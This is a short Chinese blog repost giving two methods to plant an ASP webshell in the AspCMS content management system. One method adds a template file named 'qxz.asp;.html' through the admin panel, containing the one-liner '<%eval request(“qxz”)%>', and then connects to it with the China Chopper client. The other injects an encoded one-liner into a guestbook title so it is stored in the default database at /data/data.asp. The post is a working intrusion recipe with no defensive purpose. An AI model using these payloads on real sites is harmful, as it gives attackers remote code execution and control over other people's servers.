Aspcms后台拿 shell

The Ghost Atrox

aspcms后台拿shell的两种方法：

第一种：点击“界面风格”，然后选“编辑模板/CSS文件”，然后“添加模板”，文件名称写qxz.asp;.html，
在文件内容写一句话
<%eval request(“qxz”)%>
然后点击添加，会提示添加成功，然后在模板列表中就可以找到我们添加的一句话：qxz.asp;.html 点这个文件就会弹出插入一句话的页面，OK然后菜刀连接。

第二种：前台留言插入一句话，这个要默认数据库才可以使用，数据库默认配置为asp.目录在/data/data.asp下

在留言的标题处插入：┼攠數畣整爠煥敵瑳∨≡┩愾

转载自七行者博客